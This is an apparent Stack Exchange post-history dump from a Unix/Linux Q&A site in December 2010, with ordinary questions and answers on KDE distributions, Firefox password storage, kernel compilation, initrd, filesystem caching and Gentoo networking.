  <row Id="10060" PostHistoryTypeId="3" PostId="4593" RevisionGUID="7d02d380-e581-4188-a02d-8e3e70639936" CreationDate="2010-12-07T06:28:33.860" UserId="2871" Text="élinuxàécompilingà" />
  <row Id="10061" PostHistoryTypeId="5" PostId="4572" RevisionGUID="8ae17a24-2497-43e3-9c7d-76e7e5e8fe1a" CreationDate="2010-12-07T06:48:46.220" UserId="2897" Comment="added 62 characters in body; edited title" Text="I have been a Gnome user for years (8 years), and I'm looking for recommendations to a Linux distribution that offers good KDE integration/experience. Some details to mention:&#xD;&#xA;&#xD;&#xA; - the environments speed,&#xD;&#xA; - selection of default apps,&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="10062" PostHistoryTypeId="4" PostId="4572" RevisionGUID="8ae17a24-2497-43e3-9c7d-76e7e5e8fe1a" CreationDate="2010-12-07T06:48:46.220" UserId="2897" Comment="added 62 characters in body; edited title" Text="Linux distribution that offers a good KDE experience" />
  <row Id="10063" PostHistoryTypeId="2" PostId="4594" RevisionGUID="422c940d-8e89-4ebc-91ba-9f7c85924f6b" CreationDate="2010-12-07T07:34:35.720" UserId="2567" Text="And don't forget about (g)vimdiff as well (since emacs diff was mentioned)..." />
  <row Id="10064" PostHistoryTypeId="2" PostId="4595" RevisionGUID="8315086d-d76b-4ac7-b901-fa6c7a291863" CreationDate="2010-12-07T07:36:09.027" UserId="678" Text="I am searching a command-line tagging tool that supports ogg- and mp3-tagging and allows to add a picture to the tags.&#xD;&#xA;&#xD;&#xA;Currently I use [lltag][1] but that does not support pictures. [dagger][2] is the tool I use before but it is lacking picture support as well. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://home.gna.org/lltag/&#xD;&#xA;  [2]: http://freewarepoint.de/dagger/" />
  <row Id="10065" PostHistoryTypeId="1" PostId="4595" RevisionGUID="8315086d-d76b-4ac7-b901-fa6c7a291863" CreationDate="2010-12-07T07:36:09.027" UserId="678" Text="Searching for a command line tagging tool for mp3 and ogg that supports pictures" />
  <row Id="10066" PostHistoryTypeId="3" PostId="4595" RevisionGUID="8315086d-d76b-4ac7-b901-fa6c7a291863" CreationDate="2010-12-07T07:36:09.027" UserId="678" Text="écommandölineàéaudioà" />
  <row Id="10067" PostHistoryTypeId="2" PostId="4596" RevisionGUID="e94a066e-c7ea-4eba-b673-1dfaac1943e5" CreationDate="2010-12-07T08:19:03.080" UserId="2993" Text="I want Firefox to &quot;remember&quot; my passwords so I don't have to type them in; unfortunately, the built-in password manager stores them in plain text, which is too high a security risk. I'd like to find a secure way for Firefox to do basically the same thing. Though I've heard good things about LastPass and other such services, I'm not too comfortable entrusting them with my data; any of those companies could suddenly change their terms, start charging, or just go under. I love the idea of [KeeFox][1], but alas, it's not available for Linux. Any ideas?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://keefox.org" />
  <row Id="10068" PostHistoryTypeId="1" PostId="4596" RevisionGUID="e94a066e-c7ea-4eba-b673-1dfaac1943e5" CreationDate="2010-12-07T08:19:03.080" UserId="2993" Text="Is there a way to store Firefox passwords in a local encrypted database in Linux?" />
  <row Id="10069" PostHistoryTypeId="3" PostId="4596" RevisionGUID="e94a066e-c7ea-4eba-b673-1dfaac1943e5" CreationDate="2010-12-07T08:19:03.080" UserId="2993" Text="élinuxàésecurityàépasswordàéfirefoxàébrowserà" />
  <row Id="10070" PostHistoryTypeId="2" PostId="4597" RevisionGUID="51d58ce8-fbf7-4557-966a-7956ffc1fdde" CreationDate="2010-12-07T10:09:44.533" UserId="2624" Text="I don't know why keefox isn't running in linux, i havent looked at it yet.&#xD;&#xA;I'm securing my important files with encfs and fuse, because it doesn't need a block or loop device and encrypts file by file. &#xD;&#xA;http://www.arg0.net/encfs&#xD;&#xA;" />
  <row Id="10071" PostHistoryTypeId="2" PostId="4598" RevisionGUID="1066325b-a5f1-4980-b7b5-eccd7a9dd0e1" CreationDate="2010-12-07T11:18:41.393" UserId="2493" Text="I'd like to set a custom motd (&quot;message of the day&quot;) on my machine (currently Mac OS X 10.6.5 using Bash with Terminal.app).&#xD;&#xA;&#xD;&#xA;In &lt;code&gt;/etc/&lt;/code&gt; there was no **motd** file so I created one with some sample text. But the message doesn't show up when I restart Terminal. I've tried to &lt;code&gt;logout&lt;/code&gt; and then &lt;code&gt;login&lt;/code&gt; but it still doesn't seem to kick in.&#xD;&#xA;&#xD;&#xA;If I do &lt;code&gt;ls -l /etc/motd&lt;/code&gt; I get (if it's any clue):&#xD;&#xA;&#xD;&#xA;&lt;code&gt;-rw-r--r--  1 root  wheel  30  7 Dec 11:58 /etc/motd&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;Am I missing something?" />
  <row Id="10072" PostHistoryTypeId="1" PostId="4598" RevisionGUID="1066325b-a5f1-4980-b7b5-eccd7a9dd0e1" CreationDate="2010-12-07T11:18:41.393" UserId="2493" Text="Motd doesn't show up" />
  <row Id="10073" PostHistoryTypeId="3" PostId="4598" RevisionGUID="1066325b-a5f1-4980-b7b5-eccd7a9dd0e1" CreationDate="2010-12-07T11:18:41.393" UserId="2493" Text="éosxà" />
  <row Id="10074" PostHistoryTypeId="2" PostId="4599" RevisionGUID="677b5020-5f97-4718-b7da-895bd07e7a03" CreationDate="2010-12-07T11:31:45.420" UserId="2983" Text="Hi all&#xD;&#xA;&#xD;&#xA;I got the following errors after new kernel compilation (linux-2.6.25.tar.bz2)&#xD;&#xA;&#xD;&#xA; mount: could not find filesystem '/dev/root'&#xD;&#xA;setuproot: moving /dev failed: no such file or directory&#xD;&#xA;setuproot: error mounting /proc: No such file or directory&#xD;&#xA;setuproot: error mounting /sys: No such file or directory&#xD;&#xA;switchroot: mount failed: No such file or directory&#xD;&#xA;kernel panic - not syncing: Attempted to kill init!&#xD;&#xA;&#xD;&#xA;How to troubleshoot ??&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Puspa" />
  <row Id="10075" PostHistoryTypeId="1" PostId="4599" RevisionGUID="677b5020-5f97-4718-b7da-895bd07e7a03" CreationDate="2010-12-07T11:31:45.420" UserId="2983" Text="kernel compilation error" />
  <row Id="10076" PostHistoryTypeId="3" PostId="4599" RevisionGUID="677b5020-5f97-4718-b7da-895bd07e7a03" CreationDate="2010-12-07T11:31:45.420" UserId="2983" Text="érhelà" />
  <row Id="10080" PostHistoryTypeId="2" PostId="4601" RevisionGUID="963f39b1-18c0-4ce4-a0de-3e758a4dcfe9" CreationDate="2010-12-07T12:15:42.880" UserId="2871" Text="Hi All, &#xD;&#xA; &#xD;&#xA;I would like to now the exact meaning and significance of Linux's Disk caching Mechanisms. In one of the articles I have read like Page cache and dentry cache are two form of them.&#xD;&#xA;&#xD;&#xA;Could somebody explain me these concepts.  &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen" />
  <row Id="10081" PostHistoryTypeId="1" PostId="4601" RevisionGUID="963f39b1-18c0-4ce4-a0de-3e758a4dcfe9" CreationDate="2010-12-07T12:15:42.880" UserId="2871" Text="What is the significance of Linux's Disk caching Mechanisms?" />
  <row Id="10082" PostHistoryTypeId="3" PostId="4601" RevisionGUID="963f39b1-18c0-4ce4-a0de-3e758a4dcfe9" CreationDate="2010-12-07T12:15:42.880" UserId="2871" Text="élinuxàéfilesystemsà" />
  <row Id="10083" PostHistoryTypeId="5" PostId="4572" RevisionGUID="cab227ee-1888-4886-bf95-4afc0bcfe570" CreationDate="2010-12-07T12:31:48.943" UserId="29" Comment="user friendliness" Text="I have been a Gnome user for years (8 years), and I'm looking for recommendations and comparisons of Linux distributions that offers good KDE integration/experience. Some details to mention:&#xD;&#xA;&#xD;&#xA; - the environments speed,&#xD;&#xA; - selection of default apps&#xD;&#xA; - whether it's a modified KDE&#xD;&#xA; - what makes the distro special regarding KDE and KDE/QT apps?&#xD;&#xA; - Employed or active KDE developers who are also distro developers&#xD;&#xA; - integration with gtk apps&#xD;&#xA; - how friendly is it for a novice user (e.g. all cli, do it yourself, or pretty much set up to just work)&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="10084" PostHistoryTypeId="4" PostId="4593" RevisionGUID="fa77eece-475a-46c1-9a14-c2d98a39b032" CreationDate="2010-12-07T12:40:18.580" UserId="2871" Comment="make to compile" Text="Is it possible to do a compile a code from within target?" />
  <row Id="10085" PostHistoryTypeId="2" PostId="4602" RevisionGUID="03d7229b-2b6c-4f06-bb98-82dbafedc94c" CreationDate="2010-12-07T13:01:42.927" UserId="2690" Text="Depending on your distribution, the system may create a new motd automatically on each startup. Ubuntu seems to be doing that at least.&#xD;&#xA;&#xD;&#xA;Cheers" />
  <row Id="10086" PostHistoryTypeId="4" PostId="4593" RevisionGUID="a0a6b04d-6261-4fc1-8c43-6ed4c8c8cd59" CreationDate="2010-12-07T13:06:23.810" UserId="2871" Comment="edited title" Text="Is it possible to compile a code from within target?" />
  <row Id="10087" PostHistoryTypeId="5" PostId="4593" RevisionGUID="d656dad8-a58a-4f1b-a0e3-3421fbf89c75" CreationDate="2010-12-07T13:18:41.090" UserId="2871" Comment="More explanation of the Question" Text="Hi All,   &#xD;&#xA;I have a target in which i have the toolchain installed with the RFS image.  &#xD;&#xA;If i have the kernel source code in some PC in the network which i can mount via NFS, is it possible to compile the source code from the target?   &#xD;&#xA;&#xD;&#xA;If yes, could you explain how or what different techniques are available for it.  &#xD;&#xA;&#xD;&#xA;EDIT :  The Scenario I wish to Execute -  &#xD;&#xA;When my board boots up it will mount my root file system(RFS) which has the toolchain and the binutils present within it.  &#xD;&#xA;&#xD;&#xA;After the RFS has been mounted successfully, it will connect to the NFS location where my kernel source is present and using the binutils in my RFS, it will try to compile that source code.  &#xD;&#xA;Once the compilation is successful the new executable (for eg. vmlinux.bin) will be flashed to the ROM and board will be restarted with the new image.  &#xD;&#xA;&#xD;&#xA;I just want to know if this scenario can be realized. If Yes, how can it be done in a more technical way?&#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen" />
  <row Id="10088" PostHistoryTypeId="2" PostId="4603" RevisionGUID="8e1cc53e-cbee-44e9-bfb1-da67da344e6a" CreationDate="2010-12-07T13:24:35.760" UserId="2661" Text="Depending what Desktop Environment you're using you could integrate Firefox with default password storage mechanism for this environment:&#xD;&#xA;&#xD;&#xA; - KDE - KWallet&#xD;&#xA; - GNOME - GNOMEKeyring&#xD;&#xA;&#xD;&#xA;If you want integrate Firefox with KWallet you could use [KDE Wallet password integration][1] extension for Firefox. If you are GNOME user there is [Gnome-keyring password integration][2] extension (you need to modify it to install with newest Firefox version - instructions are in comments at the extension site).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-US/firefox/addon/49357/&#xD;&#xA;  [2]: https://addons.mozilla.org/en-US/firefox/addon/8737/" />
  <row Id="10089" PostHistoryTypeId="2" PostId="4604" RevisionGUID="98ef7e08-d1e0-4167-9f4b-7d0a4a0ba96a" CreationDate="2010-12-07T13:28:41.490" UserId="1974" Text="I believe you are mistaken. When using the Password manager, [Firefox does not store your passwords in clear text](http://kb.mozillazine.org/Password_Manager):&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Firefox stores your password data in&#xD;&#xA;&gt; two files: key3.db (Master Password /&#xD;&#xA;&gt; Encryption key) and a &quot;signons&quot; file&#xD;&#xA;&gt; (encrypted names and passwords). You&#xD;&#xA;&gt; can back up your passwords by making a&#xD;&#xA;&gt; copy of both &quot;Key3.db&quot; and the&#xD;&#xA;&gt; &quot;signons&quot; file for your Firefox&#xD;&#xA;&gt; version. Firefox 2 uses signons2.txt,&#xD;&#xA;&gt; Firefox 3.0.x uses signons3.txt, and&#xD;&#xA;&gt; Firefox 3.5 and 3.6, including current&#xD;&#xA;&gt; Beta and nightly builds, use&#xD;&#xA;&gt; signons.sqlite. [4] See Profile folder&#xD;&#xA;&gt; - Firefox and Profile backup for additional information.&#xD;&#xA;&#xD;&#xA;If you are concerned, you could enable encryption of your entire home directory as an added protection." />
  <row Id="10090" PostHistoryTypeId="2" PostId="4605" RevisionGUID="5f05e5cb-f06c-4a26-8cf0-a12e22d18299" CreationDate="2010-12-07T13:33:00.770" UserId="2180" Text="Because you have the binutils and compiler on the target, and because you're able to mount the NFS volume, this should be as simple as mounting the NFS volume, navigating to the directory, and running make. It's not a cross-compile; it's your run-of-the-mill native compile. Give it a try and if you get stuck, you'll be able to ask a more specific question." />
  <row Id="10092" PostHistoryTypeId="2" PostId="4606" RevisionGUID="b72c9181-8089-42d2-802e-af154d43737a" CreationDate="2010-12-07T14:28:27.197" UserId="1627" Text="You can encrypt and protect your Firefox passwords with a master password:&#xD;&#xA;&#xD;&#xA;&gt; Preferences → Security → Passwords&#xD;&#xA;&#xD;&#xA;Then check:&#xD;&#xA;&gt; ☑ Use a master password&#xD;&#xA;&#xD;&#xA;Then set a master password." />
  <row Id="10093" PostHistoryTypeId="2" PostId="4607" RevisionGUID="6940e9b0-f16b-44e1-b2bb-405e465c2855" CreationDate="2010-12-07T14:31:08.293" UserId="2871" Text="Hi All,  &#xD;&#xA;While reading through the kernel documentation on ramdisk in &#xD;&#xA;[ramfs-rootfs-initramfs.txt][1] i was having a doubt like the ramdisk explained there is same as the initrd features described in the post at [the-difference-between-initrd-and-initramfs][2].  &#xD;&#xA;&#xD;&#xA;Could someone clarify me on this??  &#xD;&#xA;&#xD;&#xA;And if it is the same, i read that there are many disadvantages for it, but still in my fedora PC, i see &#xD;&#xA;&#xD;&#xA;&gt; initrd-2.6.29.4-167.fc11.i686.PAE.img &#xD;&#xA;&#xD;&#xA;in my boot folder. Is it different from the initrd mentioned above??  &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://android.git.kernel.org/?p=kernel/common.git;a=blob;f=Documentation/filesystems/ramfs-rootfs-initramfs.txt;h=7be232b44ee4602f74dc0b75ed66d150c23a6aaf;hb=HEAD&#xD;&#xA;  [2]: http://askubuntu.com/questions/14961/what-is-the-difference-between-initrd-and-initramfs/14971#14971" />
  <row Id="10094" PostHistoryTypeId="1" PostId="4607" RevisionGUID="6940e9b0-f16b-44e1-b2bb-405e465c2855" CreationDate="2010-12-07T14:31:08.293" UserId="2871" Text="Is Ramdisk and initrd the same?" />
  <row Id="10095" PostHistoryTypeId="3" PostId="4607" RevisionGUID="6940e9b0-f16b-44e1-b2bb-405e465c2855" CreationDate="2010-12-07T14:31:08.293" UserId="2871" Text="élinuxàébootàéinitrdà" />
  <row Id="10096" PostHistoryTypeId="2" PostId="4608" RevisionGUID="d38917e6-ba5d-4507-bedb-0bfa7b6126bc" CreationDate="2010-12-07T14:40:07.677" UserId="1325" Text="Hi,&#xD;&#xA;   &#xD;&#xA;  I am running ubuntu and last week the system didn't let me alter files as if I had no write permissions. Then on reboot the system did a check of the system which took some time. Then everything went normally.&#xD;&#xA;&#xD;&#xA;  Yesterday I was using matlab. I created 2 function &quot;.m&quot; files, and matlab crashed from an out of memory exception. This morning after checking my computer, I see that 1 of the files is missing, non-existant. What can I do about this? I heard of a folder called yesterday but I can't find it. If there are any other ways this would be great.&#xD;&#xA;&#xD;&#xA;Best,&#xD;&#xA;" />
  <row Id="10097" PostHistoryTypeId="1" PostId="4608" RevisionGUID="d38917e6-ba5d-4507-bedb-0bfa7b6126bc" CreationDate="2010-12-07T14:40:07.677" UserId="1325" Text="how to recover a file from yesterday which is now missing" />
  <row Id="10098" PostHistoryTypeId="3" PostId="4608" RevisionGUID="d38917e6-ba5d-4507-bedb-0bfa7b6126bc" CreationDate="2010-12-07T14:40:07.677" UserId="1325" Text="éubuntuàéfilesàébackupàéhardödiskà" />
  <row Id="10100" PostHistoryTypeId="5" PostId="4569" RevisionGUID="f0ab9721-32d4-4a9b-ad76-6ae0288bef12" CreationDate="2010-12-07T15:06:30.750" UserId="73" Comment="edited body" Text="I have an operation using `cut` that I would like to assign result to a variable&#xD;&#xA;&#xD;&#xA;    var4=ztemp.xml |cut -f1 -d '.'&#xD;&#xA;&#xD;&#xA;I get the error:&#xD;&#xA;&#xD;&#xA;&gt; ztemp.xml is not a command&#xD;&#xA;&#xD;&#xA;The value of `var4` never gets assigned; I'm trying to assign it the output of:&#xD;&#xA;&#xD;&#xA;    echo ztemp.xml | cut -f1 -d '.'&#xD;&#xA;&#xD;&#xA;How can I do that?&#xD;&#xA;" />
  <row Id="10101" PostHistoryTypeId="5" PostId="4402" RevisionGUID="6c918353-1568-4153-8cb0-62cfa44fe093" CreationDate="2010-12-07T15:08:21.920" UserId="73" Comment="deleted 25 characters in body" Text="From the article **Anatomy of Linux File Systems** by Tim Jones, I read that Linux views all the file systems from the perspective of a common set of objects and these objects are ***superblock***, ***inode***, ***dentry*** and ***file***. Even though the rest of the paragraph explains the above, I was not that comfortable with that explanation.&#xD;&#xA;&#xD;&#xA;Could somebody explain to me these terms?&#xD;&#xA;" />
  <row Id="10102" PostHistoryTypeId="5" PostId="4601" RevisionGUID="c91cfa8f-2a7f-46bd-b14e-4c742cea6af1" CreationDate="2010-12-07T15:08:55.943" UserId="73" Comment="deleted 30 characters in body" Text="I would like to know the exact meaning and significance of Linux's Disk caching Mechanisms. In one of the articles I have read, page cache and dentry cache are two forms of them.&#xD;&#xA;&#xD;&#xA;Could somebody explain to me these concepts?&#xD;&#xA;" />
  <row Id="10103" PostHistoryTypeId="2" PostId="4609" RevisionGUID="bab0d820-0ec0-4c27-aab8-5d13c7d14ace" CreationDate="2010-12-07T15:10:55.987" UserId="2701" Text="Running `make &amp;&amp; make modules_install &amp;&amp; make install` should not only build the kernel but install the kernel image (bzImage) and copy it to /boot/, create an initrd, and create a grub entry for both.&#xD;&#xA;&#xD;&#xA;If this is not the command(s) and/or syntax that you were using I recommend attempting this process. If this is the process that you followed I recommend rebuilding your initrd with `mkinitrd` and verifying that the root device in the grub configuration accurately represents the system configuration." />
  <row Id="10104" PostHistoryTypeId="5" PostId="4148" RevisionGUID="bfe43451-b1b6-4d0f-8649-6e45ded5c462" CreationDate="2010-12-07T15:41:46.963" UserId="2700" Comment="further highlighting what I think the real issue is" Text="I'm using SSH (with -X specified) from a Ubuntu box to a RHEL4 box and running GVim. It opens as expected in my local X, but the copy and paste via select doesn't work. I cannot select text in GVim and paste in a local window, nor can I select text from a local window and paste in GVim. This works, however, when I SSH (with -X specified) to a different RHEL4 box.&#xD;&#xA;&#xD;&#xA;Is there something I need to install on the remote machine?&#xD;&#xA;&#xD;&#xA;***EDIT***: &#xD;&#xA;I'm suspecting that it has something to do with the compile flags I used, but I don't have a clue which one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - Thanks for the help so far, guys.&#xD;&#xA; - To clarify, copy/paste via select&#xD;&#xA;   works on a GVim window spawned from&#xD;&#xA;   box A, but not on a GVim window&#xD;&#xA;   spawned from box B. Both box A and&#xD;&#xA;   box B are RHEL4 U8. &#xD;&#xA; - When I select&#xD;&#xA;   some text in the GVim window, I can&#xD;&#xA;   paste it via right-click within that&#xD;&#xA;   window, but I cannot paste it into&#xD;&#xA;   anything running locally.  When I&#xD;&#xA;   select something locally, I can paste&#xD;&#xA;   it locally but when I paste into the&#xD;&#xA;   GVim window, it pastes the last thing&#xD;&#xA;   selected in the GVim window, not the&#xD;&#xA;   last thing selected locally.&#xD;&#xA; - Just to make it a bit freakier, *sometimes* I open a second GVim window from the same box, I can paste into that second window (though still not the first), but I still cannot select something in that window and paste it locally.&#xD;&#xA; - I get the same behaviour using Ctrl-Shift-C.  Holding shift while selecting with the mouse prevents selecting.  Ctrl-Shift-V starts block selection in vim, not pasting.&#xD;&#xA; - I am running Parcellite 0.9.2 on the local box, but closing it doesn't make the problem go away, and it is not interfering with the other box.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - The machine that is presenting the problem is a vitual machine running on VM Player.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - A co-worker that is also SSHing to a virtual RHES4 U8 box does not have the same issue but he used the **stock vim install** on the VM whereas myself and another co-worker with the problem **compiled vim from source**.  Could there be a compile flag we need?&#xD;&#xA; - I tried installing VM tools on one of the VMs, but it had no effect on this issue.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - The .vimrc between my two boxes is the same, scp'ed over." />
  <row Id="10105" PostHistoryTypeId="5" PostId="4553" RevisionGUID="7d279967-73c1-44a8-89e8-df9e33ffb8ab" CreationDate="2010-12-07T15:59:32.053" UserId="1900" Comment="added 70 characters in body; added 21 characters in body" Text="Reported bugs through bugzilla, anything else I can do?&#xD;&#xA;&#xD;&#xA;I'm actually a bit disappointed as a friend of mine is a network admin and he told me they have a linux server that has not been rebooted for a few years now, so why is mine crashing so often? I'm a big fun of Debian and Fedora, but Fedora latest release keeps annoying me.&#xD;&#xA;Is the only solution to switch to something more stable, like Debian Lenny or hopefully Fedora 11 or 12? &#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;&#xD;&#xA;here is the error message:&#xD;&#xA;&#xD;&#xA;    Dec  4 15:09:33 julia kernel: [drm:i915_hangcheck_elapsed] *ERROR* Hangcheck timer elapsed... GPU hung&#xD;&#xA;    Dec  4 15:09:33 julia kernel: [drm:i915_do_wait_request] *ERROR* i915_do_wait_request returns -5 (awaiting 230713 at 230710)&#xD;&#xA;&#xD;&#xA;I'm still not convinced that the crashes are caused by faulty cdrom drive.&#xD;&#xA;Have added my vote on the launchpad bug issue hoping someone is going to fix it soon.&#xD;&#xA;&#xD;&#xA;UPDATE2:&#xD;&#xA;Memory has been tested thoroughly and no errors were detected during the test" />
  <row Id="10106" PostHistoryTypeId="2" PostId="4610" RevisionGUID="809215a2-bedf-4d90-8ddd-3db8878977cd" CreationDate="2010-12-07T16:36:20.293" UserId="139" Text="After 40 days of non-upgrading I came back from a trip and I decided to dist-upgrade my Debian Sid box. Everything went fine but after rebooting I noticed that the temperature was 15°C over its average.&#xD;&#xA;There isn't any process eating more CPU than normal but something is clearly going on. Seeing my system monitor applet for Processor load, when the machine is idle, I can see little blue peaks from time to time which I don't remember having them, maybe that could be a clue. Anyway, I cannot see anything strange in my top command output.&#xD;&#xA;&#xD;&#xA;So, how can I trace the origin of this heater process?" />
  <row Id="10107" PostHistoryTypeId="1" PostId="4610" RevisionGUID="809215a2-bedf-4d90-8ddd-3db8878977cd" CreationDate="2010-12-07T16:36:20.293" UserId="139" Text="How can I chase a program who is rising up my laptop's temperature?" />
  <row Id="10108" PostHistoryTypeId="3" PostId="4610" RevisionGUID="809215a2-bedf-4d90-8ddd-3db8878977cd" CreationDate="2010-12-07T16:36:20.293" UserId="139" Text="édebianàéprocessàécpuà" />
  <row Id="10109" PostHistoryTypeId="2" PostId="4611" RevisionGUID="ef0959c4-ad67-4580-8b17-42e8618846e8" CreationDate="2010-12-07T16:49:03.837" UserId="250" Text="I have 2 networking interfaces `eth0` (wired) and `wlan0` (wireless). Every time the computer boots it tries to bring up both. Most often when there is a LAN cable I don't need `wlan0`, and vice versa, so this looks like a waste. I want to stop the interfaces from being brought up automatically so that I can bring up the one that I need, if at all.&#xD;&#xA;&#xD;&#xA;According to the [Gentoo Handbook][1] I need to run&#xD;&#xA;&#xD;&#xA;    # rc-update add net.eth0 default&#xD;&#xA;to have `eth0` up every time the system boots and I assume the same thing goes for `wlan0`. However the result of&#xD;&#xA;&#xD;&#xA;    # rc-update show&#xD;&#xA;does not contain either `eth0` or `wlan0`.&#xD;&#xA;&#xD;&#xA;So the question is, who is bringing up the 2 interfaces? How can I stop that?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/doc/en/handbook/handbook-amd64.xml?style=printable&amp;full=1#book_part4_chap1__chap1_pre3" />
  <row Id="10110" PostHistoryTypeId="1" PostId="4611" RevisionGUID="ef0959c4-ad67-4580-8b17-42e8618846e8" CreationDate="2010-12-07T16:49:03.837" UserId="250" Text="On Gentoo, what is loading up my network interfaces?" />
  <row Id="10111" PostHistoryTypeId="3" PostId="4611" RevisionGUID="ef0959c4-ad67-4580-8b17-42e8618846e8" CreationDate="2010-12-07T16:49:03.837" UserId="250" Text="énetworkingàégentooà" />
  <row Id="10112" PostHistoryTypeId="2" PostId="4612" RevisionGUID="2efd53ca-15b2-486e-8719-52fb89488568" CreationDate="2010-12-07T16:54:50.820" UserId="2996" Text="**File**&#xD;&#xA;&#xD;&#xA;A file just means a bunch of bytes arranged in a certain order. It's what normal people call the contents of a file. When Linux opens a file, it also creates a file object, which holds data about where the file is stored and what processes are using it. The file object (but not the file data itself) is thrown away when the file is closed.&#xD;&#xA;&#xD;&#xA;**Inode**&#xD;&#xA;&#xD;&#xA;An inode (short for &quot;index node&quot;) is a bunch of attributes about a file that Linux stores. There is one inode for each file (though with some filesystems, Linux has to create its own inodes because the information is spread around the filesystem). The inode stores information like who owns the file, how big the file is, and who is allowed to open the file. Each inode also contains a number unique to the filesystem partition; it's like a serial number for the file described by that inode.&#xD;&#xA;&#xD;&#xA;**Dentry**&#xD;&#xA;&#xD;&#xA;A dentry (short for &quot;directory entry&quot;) is what the Linux kernel uses to keep track of the hierarchy of files in directories. Each dentry maps an inode number to a file name and a parent directory.&#xD;&#xA;&#xD;&#xA;**Superblock**&#xD;&#xA;&#xD;&#xA;The superblock is a unique data structure in a filesystem (though multiple copies exist to guard against corruption). The superblock holds metadata about the filesystem, like which inode is the top-level directory and the type of filesystem used." />
  <row Id="10113" PostHistoryTypeId="2" PostId="4613" RevisionGUID="f1f8f837-559e-4b40-9731-badebbe67b62" CreationDate="2010-12-07T18:29:19.623" UserId="2701" Text="Page cache, sometimes referred to as disk cache, is a transparent RAM buffer for access to and from on-disk files. In general any memory not allocated to running applications is used for page cache space. /proc/meminfo contains information about, among other things, page cache. Executing `cat /proc/meminfo | grep -iE &quot;^(cached|dirty)&quot;` will display the size of the page cache and the volume of data marked &quot;dirty&quot;, meaning file data that has been marked for writing to disk.&#xD;&#xA;&#xD;&#xA;Dentry cache serves to improve performance access to the file system by storing entries representing the directory levels which comprise the representation of a path. Also contained in the dentry cache is an inode representing the object. Dentry cache resides opposite, or along side depending on perspective, the inode cache. The inode cache is comprised of two lists containing used and unused inodes respectively as well as a hash table of inodes in use. Every entry in the dentry cache contains an entry in the inode cache." />
  <row Id="10114" PostHistoryTypeId="2" PostId="4614" RevisionGUID="6a432629-edc1-418b-bf9f-0de96fbacc7b" CreationDate="2010-12-07T18:29:47.143" UserId="305" Text="Some services requires network service (i.e. they use network ;) ). The `RC_NET_STRICT_CHECKING` variable from `/etc/conf.d/rc` determines when the service is 'up'. Particulary the &quot;no&quot; setting seems to describe something similar to what you want:&#xD;&#xA;&#xD;&#xA;    #  no    - This basically means that at least one net.* service besides net.lo&#xD;&#xA;    #          must be up.  This can be used by notebook users that have a wifi and&#xD;&#xA;    #          a static nic, and only wants one up at any given time to have the&#xD;&#xA;    #          'net' service seen as up.&#xD;&#xA;&#xD;&#xA;I guess that configuration you described is particulary useful in mobile enviroment and, personally, I prefere to use net-misc/networkmanager to manage network for me and disable Gentoo script managing (which is mostly suitable for servers and have no proper handling of hibernations, dynamic configuration etc.)." />
  <row Id="10115" PostHistoryTypeId="2" PostId="4615" RevisionGUID="4f3a4ee5-6df6-4600-b49f-a8164f3eb269" CreationDate="2010-12-07T18:32:14.773" UserId="1571" Text="Is it possible to set regex patterns for color matching in the LS_COLORS variable? So instead of just&#xD;&#xA;&#xD;&#xA;`*.jpg=38;5;220`&#xD;&#xA;&#xD;&#xA;Can I do &#xD;&#xA;&#xD;&#xA;`\.(jpg|gif)=38;5;220`&#xD;&#xA;&#xD;&#xA;That's just an example, I'd like to get more complicated than that. Am I asking too much from this? Is there another way to do terminal color schemes that I can get fancier?&#xD;&#xA;&#xD;&#xA;I'm using zsh btw, so if I can do it there but not bash, that's fine." />
  <row Id="10116" PostHistoryTypeId="1" PostId="4615" RevisionGUID="4f3a4ee5-6df6-4600-b49f-a8164f3eb269" CreationDate="2010-12-07T18:32:14.773" UserId="1571" Text="Set ls color listings based on regex instead of globbing" />
  <row Id="10117" PostHistoryTypeId="3" PostId="4615" RevisionGUID="4f3a4ee5-6df6-4600-b49f-a8164f3eb269" CreationDate="2010-12-07T18:32:14.773" UserId="1571" Text="éshellàécolorsàélsà" />
  <row Id="10118" PostHistoryTypeId="2" PostId="4616" RevisionGUID="5868eb0c-630f-46bb-a859-e3451115812d" CreationDate="2010-12-07T18:42:28.657" UserId="2180" Text="[ptop][1] (top for power consumption) and [iotop][2] (top for i/o operations) might be able to help you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mist.cs.wayne.edu/ptop.html&#xD;&#xA;  [2]: http://guichaz.free.fr/iotop/" />
